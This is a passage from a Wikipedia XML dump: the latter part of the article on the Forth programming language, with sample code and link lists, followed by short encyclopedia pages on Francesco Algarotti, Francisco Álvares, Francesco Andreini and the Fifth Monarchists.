This code defines a new word (again, 'word' is the term used for a subroutine) called &quot;FLOOR5&quot; using the following commands: &quot;DUP&quot; simply duplicates the number on the stack; &quot;&lt;&quot; compares the two numbers on the stack and replaces them with a true-or-false value; &quot;IF&quot; takes a true-or-false value and chooses to execute commands immediately after it or to skip to the &quot;ELSE&quot;; &quot;DROP&quot; discards the value on the stack; and &quot;THEN&quot; ends the conditional.  The text in parentheses is a comment, advising that this word expects a number on the stack and will return a possibly changed number.  The net result is a function that performs similarly to this function written in the [[Python programming language]]:

 def floor5(v):
   if v &lt; 6:
     return 5
   else:
     return v - 1

and similarly to this function written in the [[C programming language]]:

 int floor5(int v) { return v &lt; 6 ? 5 : v - 1; }

An even terser Forth definition of FLOOR5 that gives the same result:

 : FLOOR5 ( n -- n' )  1- 5 MAX ;

Forth became very popular in the 1980s because it was well suited to the small [[microcomputer]]s of that time: very efficient in its use of memory and easily implemented on a new machine.  At least one [[home computer]], the British [[Jupiter Ace|Jupiter ACE]], had Forth in its [[Read-only memory|ROM]]-resident OS.  The language is still used in many [[embedded system]]s (small computerized devices) today for three main reasons: efficient memory use, shortened development time, and fast execution speed.

FCode, a Forth dialect, is used for programming the [[boot loader]] on [[Sun Microsystems|Sun]] [[SPARC]] computers.

Forth is also one of the simplest extensible languages.  Programmers can easily extend the language with new commands appropriate to the primary programming problem in the particular application area.  Unfortunately, extensibility also helps poor programmers to write incomprehensible code, which has caused Forth to acquire a reputation as a &quot;write-only&quot; language. In addition, the ease of implementing Forth on a given processor meant that the barrier to self-development of a Forth system was quite low, so that commercial suppliers were, in effect, competing head-to-head with hobbyists, many of whom supported the idea that software should be [[Free_software|free]].

Forth has been used successfully in large and complex projects, and applications developed by competent and disciplined professionals have been shown to be easily maintained over decades of use on evolving hardware platforms.

== Facilities of a Forth system ==
===Interpreter===
At the screen prompt, the user interacts directly with the Forth system, typing sequences of words which are then read and executed by the Forth system. This is the central value of the Forth system: Forth is a very simple way to translate text into computer behavior.

The interpreter uses spaces (some systems accept other [[whitespace]] characters, also) to separate &quot;words.&quot;  When it finds a word, it tries to look the word up in the ''dictionary'' and execute the word's code.  If that fails, it then tries to convert it into a number and push it onto the stack.  If that fails, then it prints the word followed by an error message ( e.g. &quot;not in dictionary&quot; ), and awaits further user input.

The simplicity of the interpreter is one of the greatest features of Forth.

===Compiler===
Almost anything that can be typed, can also be compiled and executed automatically and even manually.  The compiler uses semantics almost identical to the interpreter, and is also very simple.

===Assembler===
Most Forth systems include a specialized [[assembler]] that produces executable words.  Forth assemblers often use a reverse-polish syntax in which the parameters of an instruction precede the instruction.  The usual design of a Forth assembler is to construct the instruction on the stack, then copy it into memory as the last step.  Registers may be referenced by the name used by the manufacturer, numbered (0..n, as used in the actual operation code) or named for their purpose in the Forth system: e.g. &quot;S&quot; for the register used as a stack pointer.

===Operating System===
Classic Forth systems traditionally used no operating system and no dedicated [[file system]].  Instead of storing code in files, source-code was stored in disk blocks written to physical disk addresses.  Forth systems use a single word &quot;BLOCK&quot; to translate the number of a 1K-sized block of disk space into the address of a buffer containing the data.  The buffers are managed automatically by the Forth system.

Most modern  Forth systems run under a host operating system such as [[Microsoft Windows]] or a version of [[Unix]] and use the host operating system's file system for source files.  They usually provide a mechanism for issuing [[system call|call]]s to the host OS or other resident facilities.

===File System===
Some classic commercial Forth systems have implemented contiguous disk files, using the Forth operating system's disk access, and placing the files at fixed disk block ranges.  Usually the system implements records as fixed-length binary data, with an integer number of records per disk block.  Quick searching is achieved by hashed access on key data.

The ANSI standardization effort (1994) added an optional set of commands for managing host OS files.

===Multitasking===
Some Forth systems feature a [[computer multitasking|multitasker]], most commonly a  [[Computer_multitasking#Cooperative_multitasking/time-sharing|cooperative]] [[Round-robin_scheduling|round-robin scheduler]]. The word &quot;PAUSE&quot; is used to save the current task's execution context, to locate the next task, and restore its execution context. Each task has its own stacks, private copies of some control variables and a scratch area. Swapping tasks is simple and efficient; as a result, Forth multitaskers are available even on very simple microcontrollers such as the 8051, AVR, and MSP430.

On Forth systems that run under operating systems such as [[Microsoft_Windows|Microsoft Windows]] or [[Linux]], the Forth system normally utilises the scheduling provided by the operating system. Typically these systems have a larger and different set of words that permit task creation, suspension, destruction and modification of priority.

===Self (meta) and [[Cross-compilation|cross compilation]]===
A full-featured Forth system with all source code will compile itself, a technique commonly called meta-compilation by Forth programmers (although the term doesn't exactly match [[Meta-Compilation|meta-compilation]] as it is normally defined).  The usual method is to redefine the handful of words that place compiled bits into memory.  The compiler's words therefore use specially-named versions of fetch and store that can be redirected to fetch and store to a buffer area in memory.  The buffer area simulates or accesses a memory area beginning at a different address than the code buffer.  Such compilers define words to access both the target computer's memory, and the host (compiling) computer's memory.

After the fetch and store operations are redefined for the code space, the compiler, assembler, etc. are recompiled using the new definitions of fetch and store.  This effectively reuses all the code of the compiler and interpreter.  Then, the Forth system's code is compiled, but this version is stored in the buffer.  The buffer in memory is written to disk, and ways are provided to load it temporarily into memory for testing.  When the new version appears to work, it is written over the previous version.

There are numerous variations of such compilers for different environments.  For [[embedded system]]s, the code may instead be written to another computer over a serial port or even a single [[Transistor-transistor logic|TTL]] bit, while keeping the word names and other non-executing parts of the dictionary in the original compiling computer.  The minimum definitions to &quot;remote&quot; a forth compiler are the words that fetch and store a byte, and the word that commands a forth word to be executed.  Often the most time-consuming part of a remote port is to construct the initial program to implement fetch, store and execute.  Many modern microprocessors have integrated debugging features (such as the [[Motorola CPU32]]) that eliminate even this task.

== Structure of the language ==
The basic data structure of Forth is the &quot;dictionary&quot; which maps &quot;words&quot; to executable code or named data structures.  The dictionary is laid out in memory as a [[linked list]] with the links proceeding from the latest (most recently) defined word to oldest, until a sentinel, usually a NULL pointer, is found.

A defined word generally consists of ''head'' and ''body'' with the head consisting of the ''name field'' (NF) and the ''link field'' (LF) and body consisting of the ''code field'' (CF) and the ''parameter field'' (PF).
  
Head and body of a dictionary entry are treated separately because they may not be contiguous.  For example, when a Forth program is recompiled for a new platform, the head may remain on the compiling computer, while the body goes to the new platform.  In some environments (such as [[embedded system]]s) the heads occupy memory unnecessarily.  However, some cross-compilers may put heads in the target if the target itself is expected to support an interactive Forth.

===Dictionary Entry===
The exact format of a dictionary entry is not prescribed, and implementations vary.  However, certain components are almost always present though the exact size and order may vary.  Described as a C language structure, a dictionary entry might look this way:

  struct forthword {
    byte _flag; /* 3bit flags + length of word's name. */
    char name[];  /* name's runtime length isn't known at compile time in C. */
    struct forthword *previous; /* backward ptr to previous word. */
    struct forthword *codeword; /* ptr to the code to execute this word. */
    byte parameterfield[]; /* unknown length of data, words, or opcodes. */
  };

The name field starts with a prefix giving the length of the word's name (typically up to 32 bytes), and several bits for flags.  The character representation of the word's name then follows the prefix.  Depending on the particular implementation of Forth, there may be one or more NUL ('\0') bytes for alignment.

The link field contains a pointer to the previously defined word.  The pointer may be a relative displacement or an absolute address that points to the next oldest sibling.

The code field pointer will be either the address of the word which will execute the code or data in the parameter field or the beginning of machine code that the processor will execute directly.  For colon defined words, the code field pointer points to the word that will save the current Forth instruction pointer (IP) on the return stack, and load the IP with the new address from which to continue execution of words.  This is the same as what a processor's call/return instructions does.

===Structure of the Compiler===
The compiler itself consists of Forth words. This gives the programmer considerable control of the compiler, and a programmer can change the compiler's words for special purposes.

The &quot;compile time&quot; flag in the name field is set for words with &quot;compile time&quot; behavior.  Most simple words execute the same code whether they are typed on a command line, or embedded in code.  When compiling these, the compiler simply places code or a threaded pointer to the word.  

Compile-time words are actually executed by the compiler.  The classic examples of compile-time words are the control-structures such as IF and WHILE.  All of Forth's control structures, and almost all of its compiler are implemented as compile-time words.

The assembler (see above) is a special dialect of the compiler.

===Structure of Code===
In most Forth systems, the body of a code definition consists of either [[machine language]], or some form of [[threaded code]].  Traditionally, indirect-threaded code was used, but direct-threaded and subroutine threaded Forths have also been popular.  The fastest modern Forths use subroutine threading, insert simple words as macros, and perform [[peephole optimization]] or other optimizing strategies to make the code smaller and faster.
===Data Objects===
When a word is a variable or other data object, the CF points to the runtime code associated with the defining word that created it.  A defining word has a characteristic &quot;defining behavior&quot; (creating a dictionary entry plus possibly allocating and initializing data space) and also specifies the behavior of an instance of the class of words constructed by this defining word.  Examples include:

* VARIABLE  --  Names an uninitialized, one-cell memory location.  Instance behavior of a VARIABLE returns its address on the stack.
* CONSTANT  --  Names a value (specified as an argument to CONSTANT).  Instance behavior returns the value.
* CREATE  --  Names a location; space may be allocated at this location, or it can be set to contain a string or other initialized value.  Instance behavior returns the address of the beginning of this space.

Forth also provides a facility by which a programmer can define new application-specific defining words, specifying both a custom defining behavior and instance behavior.  Some examples include circular buffers, named bits on an I/O port, and automatically-indexed arrays.

Data objects defined by these and similar words are global in scope.  The function provided by local variables in other languages is provided by the data stack in Forth.  Forth programming style uses very few named data objects compared with other languages; typically such data objects are used to contain data which is used by a number of words or tasks (in a multitasked implementation).

Forth does not enforce consistency of data type usage; it is the programmer's responsibility to use appropriate operators to fetch and store values or perform other operations on data.

== Computer programs in Forth ==
Words written in Forth are compiled into an executable form.  The classical &quot;indirect threaded&quot; implementations compile lists of addresses of words to be executed in turn; many modern systems generate actual machine code (including calls to some external words and code for others expanded in place).  Some systems feature sophisticated optimizing compilers. Generally speaking, a Forth program is saved as the memory image of the compiled program with a single command (e.g., RUN) that is executed when the compiled version is loaded.

During development, the programmer uses the interpreter to execute and test each little piece as it is developed.

Most Forth programmers therefore advocate a loose top-down design, and bottom-up development with continuous testing and integration.  

The top-down design is usually separation of the program into &quot;vocabularies&quot; that are then used as high-level sets of tools to write the final program.  A well-designed Forth program reads like natural language, and implements not just a single solution, but also sets of tools to attack related problems.

The tool-box approach is one of the reasons that Forth is so difficult to master.  While learning the syntax is easy, mastering the tools delivered with a professional Forth system can take several months, working full-time.  The task is actually more difficult than rewriting one's own Forth system from scratch.  Unfortunately, a rewrite also loses the experience accumulated in a typical professional Forth toolbox.

== Implementation of a Forth System ==
Forth uses two stacks for each executing task.  The stacks are the same width as the index register of the computer, so that they can be used to fetch and store addresses.  The parameter or data stack (commonly referred to as the ''stack'') is used to pass data to words.  The linkage or return stack (commonly referred to as the ''rstack'') is used store return addresses when words are nested (the equivalent of a [[Subroutine#Low-level_implementation|subroutine call]], and store local variables.  There are standard words to move data between the stacks, and to load and store variables on the stack.

The Forth interpreter looks up words one at a time in the dictionary, and executes their code.  The basic algorithm is to search a line of characters for a non-blank, non-control-character string.  If this string is in the dictionary, and it is not a compile-time word (marked in the flag byte), the code is executed.  If it is not in the dictionary, it may be a number.  If it converts to a number, the number is pushed onto the parameter stack.  If it does not convert, then the interpreter prints an error message; for example, the string followed by a question mark. The interpreter then throws away the rest of the input.

A Forth compiler produces dictionary entries.  Other than that, it tries to simulate the same effect that would be produced by typing the text into the interpreter.

The great secret to implementing Forth is natively compiling it, so that it compiles itself.  The basic scheme is to have the compiler defined in terms of a few words that access a code area.  Then, one definition of the words may compile to the normal area of memory while another definition compiles to disk, or to some special memory area.  The compiler is adapted by recompiling it with the new definitions.  Some systems have defined low-level words to communicate with a debugger on a different computer, building up the Forth system in a different computer.

==Hello world==

''For an explanation of the tradition of programming &quot;Hello World&quot;, see [[Hello world program]].''

One possible implementation:

 : HELLO  ( -- )  .&quot; Hello, world!&quot; CR ;
 HELLO

A standard Forth system is also an [[interpreter]], and the same output can be obtained by typing into the Forth console (note parentheses instead of quotes):

 .( Hello, world!) CR

== Online Forth interpreter ==
There's a Forth implementation in [[JavaScript]] online, which you can use to try out Forth.
The interactive terminal emulation works best with browsers like [[Firefox]], [[Mozilla]], and [[Netscape]].
Tutorial material is provided there as well:

http://forthfreak.net/jsforth.html

Another implementation accessible by Telnet is at:

telnet://d14-435-04.rtc.ru:3333

==See also ==
*[[Threaded code]]
*[[Jupiter ACE]] &amp;ndash; The British home computer with ROM-resident Forth
*[[Joy programming language|Joy]] A Forth-like language that includes dynamic typing, lists, garbage collection, and similar high-level features.
*[[PostScript]]
*[[RPL programming language|RPL]] A programming language for Hewlett-Packard calculators, with similarities to FORTH.
*[[Sy language]]

==Dialects==
*[[51-FORTH]]
*[[Bashforth]]
*[[Color Forth|colorForth]]

== External links ==
{{wikibookspar||Programming:Forth}}
*[http://www.taygeta.com/forth/dpans.html ANSI Forth Standard] -- Appendix F is the index to the standard words.
*[http://www.complang.tuwien.ac.at/forth/threading/ Execution speed of threading]
*[http://www.forth.org/compilers.html Forth Compilers Page]
*[http://www.ultratechnology.com/ Forth Chips Page - will reappear - site is being reorganised] -- Forth in hardware

=== Books, tutorials, and classes ===
* [http://www.forth.com/forth/forth-books.html Forth books] for sale, by Elizabeth Rather and others at FORTH, Inc.
* [http://www.mpeltd.demon.co.uk/arena/ProgramForth.pdf Programming Forth] by Stephen Pelc, MPE (draft version, on-line)
* [http://www.complang.tuwien.ac.at/forth/gforth/Docs-html/Tutorial.html Gforth tutorial]
* [http://galileo.phys.virginia.edu/classes/551.jvn.fall01/primer.htm A Beginner's Guide to Forth] by Julian Noble (on-line tutorial)
* [http://www.forth.com/forth/forth-classes.html Forth programming classes] at FORTH, Inc. or on-site
* [http://www.amazon.com/gp/product/013843087X/ Starting Forth] [http://home.earthlink.net/~lbrodie/forth.html Leo Brodie's], introduction to Forth — a classic. (out of print)
* [http://thinking-forth.sourceforge.net Thinking Forth], Leo Brodie's book about Forth programming methodology (on-line, creative commons license)
* [http://www.ece.cmu.edu/~koopman/stack_computers/index.html Stack Computers], by Philip Koopman, Jr.  A book about stack-based computers, including the Novix NC4016 and the Harris RTX series, both Forth-based [[central processing unit|CPU]]s

=== Freely available Forth implementations ===
* [http://www.amresearch.com amrFORTH] -- 8051 Tethered Forth for Windows/OSX/Linux/*BSD
* [http://pfe.sourceforge.net/ PFE] -- Portable Forth Environment
* [http://www.jwdt.com/~paysan/gforth.html Gforth] -- GNU Forth Language Environment
* [http://www.jwdt.com/~paysan/bigforth.html bigFORTH] -- x86 native code Forth with MINOS GUI
* [http://ccreweb.org/software/kforth/kforth.html kForth] -- Small Forth Interpreter written in C++
* [http://sourceforge.net/projects/spf/ SPF] -- OpenSource Forth for Win32 and Linux. This is a ANS94 compliant Forth with optimising compiler and fast subroutine threading code
* [http://www.retroforth.org/ RetroForth] -- Public Domain, for DOS, Linux, FreeBSD, Windows or standalone use -- has a wiki
* [http://www.softsynth.com/pforth/ pForth] -- PD portable Forth in 'C' for embedded systems or desktops.
* [http://jasonwoof.org/herkforth herkforth] -- A colored forth which runs on a simple virtual machine -- has a wiki
* [http://www.strotmann.de/twiki/bin/view/APG/LangForth TWiki's Forth page] -- includes a list of implementations for many [[Home computer|homecomputers]].
* [http://home.hccnet.nl/a.w.m.van.der.horst/ciforth.html Computer Intelligence Forth] -- an assembler-based ISO-Forth
* [http://www.eforth.com.tw/academy eForth] by C.H.Ting
* [http://www.powermops.org/ Mops] -- an object-oriented Forth dialect for the Macintosh based on the formerly commercial Neon
* [http://www.win32forth.org/ Win32Forth] -- Forth for Microsoft Windows 98/2000/XP
* [http://www.inventio.co.uk/cfdos.htm/ colorForth] for the PC, downloader / source reader program.
* [http://ronware.org/reva/ Reva] a small fast x86 Forth implementation for Linux and Windows by Ron Aaron
* [http://4im.atspace.com 4IM] small simple fast 16bits standalone and DOS Forth system; 32 bits Linux and Windows (portable C version), featuring GUI library bindings.
* [http://www.ucalc.com/forth.txt uCalc Forth] uCalc Language Builder source code for a small Win32 Forth.

=== Commercial Forth implementations ===
* [http://www.forth.com/ Forth, Inc.] -- The original purveyor of Forth systems. Supplier of books on Forth, Forth for [[Microsoft Windows]]  and cross-compilers for many microcontrollers.  Links to many tutorials and historical articles.
* [http://www.mpeltd.demon.co.uk/software.htm MicroProcessor Engineering Limited] (MPE) -- for [[Microsoft Windows]] with cross compilers to many different processors.
* [http://www.quartus.net/products/forth/ Quartus Forth] -- for the [[Palm OS]], has a wiki at http://quartus.net/cgi-bin/twiki/view/Main/
* [http://home.iae.nl/users/mhx/i4faq.html iForth] -- for [[Microsoft Windows]], [[Linux]] and [[MS-DOS]]
* [http://www.macforth.com/  MacForth] -- for [[Mac OS]]

=== Historical Forth implementations ===
* [http://www.strotmann.de/twiki/bin/view/APG/LangForth Information on Forth for 8-bit Home-Computer (Atari, Apple, ZX-80, ...)]
* [http://volksforth.sf.net volksFORTH] a 16bit Forth System for MS-DOS, Atari Portfolio, CP/M, Atari ST, Amstrad CPC, Apple 1/Replica 1, Atari XL/XE, Commdore PET, C=64, C-16, Plus 4
* [http://ground.ecn.uiowa.edu/apple2/apple8/Languages/graforth.shk GraFORTH] -- Forth for the Apple &lt;nowiki&gt;][&lt;/nowiki&gt; with AV primitives (ShrinkIt archive)
* [http://theforthsource.com/ MVP Forth ] with source code available from Mountain View Press

=== Forth communities ===
* [http://wiki.forthfreak.net/ Forth-specific wiki]
* [http://www.forth.org/ Forth Interest Group]
* [http://www.forth.org.ru/ Russian Forth Interest Group]
* [http://www.forth-ev.de/ Forth Gesellschaft e.V. (german)]
* [http://c2.com/cgi/wiki?ForthLanguage The original Wiki's Forth page]
* One can meet on [[Internet Relay Chat|IRC]], irc.freenode.net, channel #forth. To connect from Europe, irc.eu.freenode.net is preferred.
* [http://forth.bespin.org/ #forth IRC channel website]
* [news:comp.lang.forth comp.lang.forth] Forth newsgroup, where many professional and amateur Forth programmers lurk and post.

=== History of Forth ===
* [http://www.colorforth.com/HOPL.html Forth, the Early Years] by Chuck Moore
* [http://www.forth.com/resources/evolution/index.html The Evolution of Forth] by C. H. Moore, E. D. Rather, and D. R. Colburn. Presented at the ACM SIGPLAN History of Programming Languages Conference (HOPL II, April, 1993). Published in ACM SIGPLAN Notices, Volume 28, No. [[3 March]] [[1993]].

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  </page>
  <page>
    <title>Ferdinand Saussure</title>
    <id>11013</id>
    <revision>
      <id>15908800</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ferdinand_de_Saussure]]
</text>
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  </page>
  <page>
    <title>Famous Scotsmen</title>
    <id>11014</id>
    <revision>
      <id>15908801</id>
      <timestamp>2003-02-17T15:19:49Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[List of Scots]]</comment>
      <text xml:space="preserve">#REDIRECT [[List of Scots]]</text>
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  </page>
  <page>
    <title>Francesco Algarotti</title>
    <id>11015</id>
    <revision>
      <id>36292391</id>
      <timestamp>2006-01-23T01:08:15Z</timestamp>
      <contributor>
        <username>Poor Yorick</username>
        <id>9697</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">Count '''Francesco Algarotti''' ([[11 December]], [[1712]] &amp;ndash; [[3 May]], [[1764]]) was an [[Italy|Italian]] [[philosopher]] and art critic.

He was born in [[Venice]]. He studied at [[Rome]] and [[Bologna]], and at the age of twenty went to [[Paris]], where he became friendly with [[Voltaire]] and produced his ''Neutonianismo per le dame'', a work on optics. Voltaire called him his &quot;cher cygne de Padoue&quot; (&quot;dear swan of Padua&quot;). Returning from a journey to [[Russia]], he met [[Frederick the Great]] who made him a count of [[Prussia]] in 1740 and court chamberlain in 1747; they are said to have been lovers. [[Augustus III of Poland]] also honoured him with the title of councillor. In 1754, after seven years' residence partly in [[Berlin]] and partly in [[Dresden]], he returned to [[Italy]], living at Venice and then at [[Pisa]], where he died. Frederick the Great erected to his memory a monument on the [[Campo Santo]] at Pisa. He was &quot;one of the first ''beaux esprits'' of the age,&quot; a man of wide knowledge, a connoisseur in art and music, and the friend of most of the leading authors of his time. 

His chief work on art is the ''Saggi sopra le belle arti'' (&quot;Essays on the Fine Arts&quot;). Among his other works were ''Poems'', ''Travels in Russia'', ''Essay on Painting'', and ''Correspondence''. 

==References==
*{{1911}}

[[Category:1712 births|Algarotti]]
[[Category:1764 deaths|Algarotti]]
[[Category:18th century philosophers|Algarotti]]
[[Category:Gay writers|Algarotti]]
[[Category:Italian art critics|Algarotti]]
[[Category:Italian philosophers|Algarotti]]
[[Category:LGBT philosophers|Algarotti]]
[[Category:Natives of Venice|Algarotti]]
[[Category:philosophers|Algarotti]]

[[fi:Francesco Algarotti]]
[[gl:Francesco Algarotti]]
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  <page>
    <title>Francisco Álvares</title>
    <id>11016</id>
    <revision>
      <id>40878384</id>
      <timestamp>2006-02-23T16:46:58Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>indexing</comment>
      <text xml:space="preserve">'''Francisco Álvares''' (c.[[1460s|1465]] - c.[[1540s|1540]]) was a [[Portugal|Portuguese]] [[missionary]] and [[exploration|explorer]].

Born in [[Coimbra, Portugal]], as an adult he was a chaplain-priest and almoner to King [[Manuel I of Portugal]]. He was sent in [[1515]] as part of an embassy to the ''[[Emperor of Ethiopia|negus negust]]'' of [[Ethiopia]], accompanied by the Ethiopian ambassador Mattheus. Their first attempt to reach the port of [[Massawa]] failed due to the actions of [[Soares de Albergaria]], governor of Portuguese India, which got no closer than the [[Dahlak Archipelago]] and led to the death of the Portuguese ambassador [[Duarte Galvão]] at [[Kamaran]]. Álvares and Mattheus were forced to wait until the arrival of Soares' replacement, [[Diogo Lopes de Sequeira]], who successfully sent the embassy on, with  Dom [[Rodrigo de Lima]] replacing Duarte Galvão. The party at last reached Massawa on [[April 9]], [[1520]], and reached the court of [[Lebna Dengel]] where he befriended several Europeans who had gained the favor of the Emperor, which included [[Pêro da Covilhã]] and [[Brancaleon|Nicolao Branceleon]]. Father Álvares remained six years in Ethiopia, returning to [[Lisbon]] in either [[1526]] or [[1527]].

In [[1533]] he was allowed to accompany Dom [[Martinho de Portugal]] to [[Rome]] on an embassy to [[Pope Clement VII]], to whom´Father Álvares delivered the letter Lebna Dengel had written to the Pope. The precise date of Francisco Álvares death, like that of his birth, is unknown, but the writer of the [[1911 Encyclopædia Britannica]] article concludes it was later than [[1540]], in which year an account of his travels were published at Lisbon. In the introduction of their translation of Alvarez's work, C.F. Beckingham and G.W.B. Huntingford furnish evidence that points to Álvares's death in [[Rome]], and admit that he may have died before his work was published.

== Álvares's writings ==
In 1540, [[Luís Rodrigues]] published a version of Alvarez's account in a one volume folio, entitled ''Verdadeira Informação das Terras do Preste João das Indias'' (&quot;A True Relation of the Lands of [[Prester John]] of the Indies&quot;). C.F. Beckingham and G.W.B. Huntingford cite evidence, based in part on the earlier work of Professor [[Roberto Almagia]], showing that Rodrigues's publication is only a part of Álvares's entire account. Another version of what Álvares wrote was included in an anthology of travel narratives, ''Navigationi et Viaggi'' assembled and published by [[Giovanni Battista Ramusio]], and published in [[1550]]. Almagia also identified three manuscripts in the [[Vatican Library]] which contain versions of excerpts from the original manuscript.

Francisco Álvares work has been translated into English at least twice. The first time was the work of the ninth Baron Stanley of Alderley for the [[Hakluyt Society]] in 1881. This translation was revised and augmented with notes by C.F. Beckingham and G.W.B. Huntingford, ''The Prester John of the Indies'' (Cambridge: Hakluyt Society, 1961).

The author of the 1911 Encyclopædia Britannica article was critical of the information it contained, believing it should &quot;be received with caution, as the author is prone to exaggerate, and does not confine himself to what came within his own observation.&quot; However, Beckingham and Huntingford have a much higher opinion of Álvares's testimony, stating that not only is it &quot;incomparably more detailed than any earlier account of Ethiopia that has survived; it is also a very important source for Ethiopian history, for it was written just before the country was devastated by the [[Ahmed Gragn|Moslem Somali]] and pagan [[Oromo|Galla]] invasions of the second quarter of the sixteenth century.&quot; He provides the first recorded and detailed descriptions of [[Axum]] and [[Lalibela]]. They continue:

He is sometimes wrong, but very rarely silly or incredible. He made a few mistakes; he may well have made others that we cannot detect because he is our sole authority; when he tried to describe buildings his command of language was usually inadequate; he is often confused and obscure, though this may be as much his printer's fault as his own; his prose is frequently difficult to read and painful to translate; but he seems to us to be free from the dishonesty of the traveller who tries to exaggerate his own knowledge, importance, or courage.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;

== Notes ==
# C.F. Beckingham and G.W.B. Huntingford, ''Prester John'', p.13

[[Category:1465 births|Alvares, Francisco]]
[[Category:1541 deaths|Alvares, Francisco]]
[[Category:Portuguese missionaries|Alvares, Francisco]]
[[Category:Portuguese explorers|Alvares, Francisco]]
[[Category:History of Ethiopia|Alvares, Francisco]]

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  <page>
    <title>Francesco Andreini</title>
    <id>11017</id>
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      <contributor>
        <username>Sagitario</username>
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      </contributor>
      <comment>correct stub</comment>
      <text xml:space="preserve">'''Francesco Andreini''' (ca [[1548]]-[[1624]]), [[Italy|Italian]] [[actor]], was born at [[Pistoia]].  He was a member of the company of the Gelosi which [[Henry IV of France]] summoned to [[Paris]] to his bride, the young queen [[Marie de Medici]].

Both his wife, [[Isabella Andreini]], and their son, [[Giambattista Andreini]], were also distinguished in [[the]] arts. 

==References==
*{{1911}}

{{italy-actor-stub}}

[[Category:Italian actors|Andreini, Francesco]]
[[Category:1548 births|Andreini, Francesco]]
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  <page>
    <title>Fifth Monarchists</title>
    <id>11018</id>
    <revision>
      <id>40133222</id>
      <timestamp>2006-02-18T10:51:50Z</timestamp>
      <contributor>
        <ip>81.109.252.129</ip>
      </contributor>
      <comment>/* The English Commonwealth */</comment>
      <text xml:space="preserve">The '''Fifth Monarchists''' or '''Fifth Monarchy Men''' were active from [[1649]] to [[1661]] during the [[Interregnum (England)|Interregnum]], following the [[English Civil War|English Civil Wars]] of the [[1600s]]. They took their name from a belief in a world ruling kingdom to be established by a returning [[Jesus]] in which the year [[1666]] and its numerical relationship to a passage in the [[Biblical]] [[Book of Revelation]] indicating the end of earthly rule by carnal human beings.

==Overview==
[[1649]] was a year of great social unrest in England. The Parliamentary victors of the [[English Civil War#The Forth English Civil War|First English Civil War]] failed to negotiate a constitutional settlement with the defeated King [[Charles I of England|Charles I]].  Members of Parliament and the [[Grandee]]s in the [[New Model Army]], when faced with Charles's perceived duplicity, reluctantly [[regicide|tried and executed]] him.

Government through the King's [[Privy Council of the United Kingdom|Privy Council]] was replaced with a new body called the [[English Council of State|Council of State]]. Due to fundamental disagreements within a weakened Parliament, this new body was dominated by the Army. There was a considerable political ferment in the country, much of it religiously conditioned, and no lack of proposals for alternative forms of government to replace the old order. These ranged from Royalists who wished to place King [[Charles II of England|Charles II]] on the throne, to men like [[Oliver Cromwell]], who wished to govern with a Parliament voted in by an electorate determined by property ownership, similar to that enfranchised before the civil war, to the [[Levellers]], influenced by the writings of [[John Lilburne]], who wanted parliamentary government based on an electorate constituted of every male head of  household, through to other groups with smaller followings like the ''Fifth Monarchists'', [[Diggers (True Levellers)|Diggers]], the [[Ranters]], and the [[Religious Society of Friends|Society of Friends]] or Quakers.

These were not political parties as that term is understood today, but groups clustered around one or more beliefs, some of the believers attaching themselves to more than one group. Although the pre-war establishment had been split by the Civil War, both of the opposing main factions regarded all radical groups as agitators for change, and they are described as such in the ''Historical Collections'' of [[John Rushworth]] that document events of the early period, and by the ''Journals of the House of Commons'' which cover the period of the Republic itself.

The ''Fifth Monarchists'' were a group of believers in a geopolitical theory which maintained that four other world rulers had already come and gone according to the prophecies of the biblical [[Book of Daniel]] (2: 44). This text recounts a prophetic dream by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]], in which the previous empires had been [[Assyrian Empire|Assyrian]]; [[Persian Empire|Persian]]; [[Greece|Grecian]] and [[Roman Empire|Roman]], The last empire, they concluded, would be established by the returning Jesus as King of kings and Lord of lords to reign with his saints on earth for a thousand years. The ''Fifth Monarchists'' saw themselves as those saints of that soon to be dawning [[Millennialism|millennium]]. Among prominent Fifth Monarchists were [[Thomas Harrison]], [[Christopher Feake]], [[Vavasor Powell]], [[John Carew (regicide)|John Carew]] and [[John Rogers (Fifth monarchy man)|John Rogers]].

Fifth Monarchists believed that the timing of the events of the Interregnum were significant because the calendar year of [[1666]] loomed large on the near horizon. The number [[Number of the Beast (numerology)|666]] had been identified in the [[Biblical]] [[Book of Revelation]] with the ultimate human [[despot]] to rule the world, but who would be replaced by the [[second coming#Christianity|second coming]] of Jesus as the [[Messiah]], it only added to the belief that the Fifth Monarchy was about to begin.

==The English Commonwealth==

A number of ''Fifth Monarchists'' took a leading part in the events of the time. Thomas Harrison and John Carew were [[List of regicides of Charles I#Commissioners|Commissioners]] (Judges) at the trial of Charles I and signed the death warrant. Following Charles' death, Oliver Cromwell set up the Commonwealth as a more pure form of government and to replace the already existing monarchy. Cromwell had not intended it, but not too long after establishing the Commonwelth, he dismissed the Parliament, and in effect, became a military dictator.

{{section-stub}}

==Nominated Assembly and Protectorate==

After the forcible dissolution of the [[Rump Parliament]] by Oliver Cromwell, the [[Grandee]]s of the Army [[Council of Officers]] were reluctant to authorise free elections because they were aware that the members returned by the traditional constituency would return Presbyterians and Royalist as well as their own sympathisers. They were not at all sure that the majority would be any more compliant than the Rump. Major-General [[Thomas Harrison]], who had commanded the troop which aided Oliver Cromwell in dissolving the Rump,  suggested that there be a ruling body based upon the Old Testament ''Sanhedrin'' of 70 selected &quot;Saints&quot;, which was based on his beliefs, as a Fifth Monarchist, that the rule of the Saints would usher in the reign of Christ on Earth. A modified version of this proposal was accepted by Cromwell and the Council of Officers and less than a month after the dissolution of the Rump, during May 1653, letters in the name of the Lord-General and the Army Council were sent to Congregational churches in every county in England to nominate those they considered fit to take part in the new government. The total number of nominees was one hundred and forty, one hundred and twenty nine from England, five from Scotland and six from Ireland.

